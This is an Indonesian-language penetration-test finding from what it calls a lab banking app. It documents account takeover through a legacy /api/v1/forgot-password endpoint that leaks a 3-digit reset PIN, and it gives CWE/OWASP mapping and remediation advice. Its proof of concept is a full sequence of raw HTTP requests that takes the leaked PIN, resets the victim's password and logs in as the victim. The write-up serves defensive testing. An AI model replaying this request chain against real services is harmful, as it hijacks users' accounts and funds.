Kerentanan
[FAIL] Account Takeover - Password Reset - Reset PIN Disclosure
Deskripsi
Endpoint /api/v1/forgot-password mengembalikan reset PIN korban langsung di dalam body respons HTTP pada field debug_info.pin. PIN ini seharusnya hanya dikirim ke kanal milik korban (email). Siapa pun yang mengetahui username dapat meminta PIN, lalu memakainya pada /api/v1/reset-password untuk menetapkan password baru.
Dampak
Confidentiality + Integrity (Critical): pengambilalihan akun penuh tanpa interaksi korban dan tanpa akses ke email korban. Penyerang cukup mengetahui username untuk mengganti password dan masuk sebagai korban, termasuk akun administrator. Rekening dan seluruh fungsi perbankan korban menjadi terkendali penyerang.
CWE
CWE-640: Weak Password Recovery Mechanism for Forgotten Password
OWASP
A07:2021 - Identification and Authentication Failures
Skenario
Normal: /api/v2/forgot-password menerima permintaan dan menyatakan PIN dikirim ke email, tanpa membocorkan PIN. Eksploitasi: endpoint versi lama /api/v1/forgot-password mengembalikan PIN pada respons. Chain: PIN dipakai pada /api/v1/reset-password untuk menetapkan password pilihan penyerang. Dampak: login sebagai korban berhasil.
Endpoint
POST http://127.0.0.1:5001/api/v1/forgot-password
POST http://127.0.0.1:5001/api/v1/reset-password
Fitur terdampak
Pemulihan password / lupa password (API v1)
Rekomendasi perbaikan
- Jangan pernah mengembalikan reset PIN, OTP, atau token pemulihan pada respons HTTP; kirim hanya melalui kanal terverifikasi milik pengguna.
- Hapus blok debug_info dari seluruh respons produksi.
- Pensiunkan endpoint versi lama (v1) yang sudah digantikan v2/v3.
- Gunakan token acak panjang dengan masa berlaku singkat dan sekali pakai, bukan PIN 3 digit.
- Terapkan rate limiting dan invalidasi seluruh sesi aktif setelah reset password.
Bukti konsep
- (Screenshot 1) NORMAL: /api/v2/forgot-password untuk pentest_victim -> respons tidak memuat PIN.
- (Screenshot 2) EKSPLOITASI: /api/v1/forgot-password untuk pentest_victim -> respons membocorkan debug_info.pin.
- (Screenshot 3) CHAIN: PIN hasil bocoran dikirim ke /api/v1/reset-password -> reset_success true, password korban diganti.
- (Screenshot 4) DAMPAK CIA: login sebagai pentest_victim dengan password baru -> token terbit, akun korban diambil alih.
Rekaman lengkap
LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.
HTTP request
POST /api/v2/forgot-password HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 30
Content-Type: application/json
{"username": "pentest_victim"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 187
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:12 GMT
{
"debug_info": {
"timestamp": "2026-09-30 02:58:12.691317",
"username": "pentest_victim"
},
"message": "Reset PIN has been sent to your email.",
"status": "success"
}
HTTP request
POST /api/v1/forgot-password HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 30
Content-Type: application/json
{"username": "pentest_victim"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 228
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:13 GMT
{
"debug_info": {
"pin": "358",
"pin_length": 3,
"timestamp": "2026-09-30 02:58:13.665194",
"username": "pentest_victim"
},
"message": "Reset PIN has been sent to your email.",
"status": "success"
}
HTTP request
POST /api/v1/reset-password HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 85
Content-Type: application/json
{"username": "pentest_victim", "reset_pin": "358", "new_password": "PwnedByPentest1"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 243
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:14 GMT
{
"debug_info": {
"reset_pin_used": "358",
"reset_success": true,
"timestamp": "2026-09-30 02:58:14.637378",
"username": "pentest_victim"
},
"message": "Password has been reset successfully",
"status": "success"
}
HTTP request
POST /login HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 61
Content-Type: application/json
{"username": "pentest_victim", "password": "[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 498
Set-Cookie: token=[REDACTED-LAB-TOKEN]; HttpOnly; Path=/
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:15 GMT
{
"accountNumber": "9159912486",
"debug_info": {
"account_number": "9159912486",
"is_admin": false,
"login_time": "2026-09-30 02:58:15.599480",
"user_id": 3,
"username": "pentest_victim"
},
"isAdmin": false,
"message": "Login successful",
"status": "success",
"token": "[REDACTED-LAB-VALUE]"
}
Kasus berikutnya: Active Debug Code - Application Server - Werkzeug Debugger →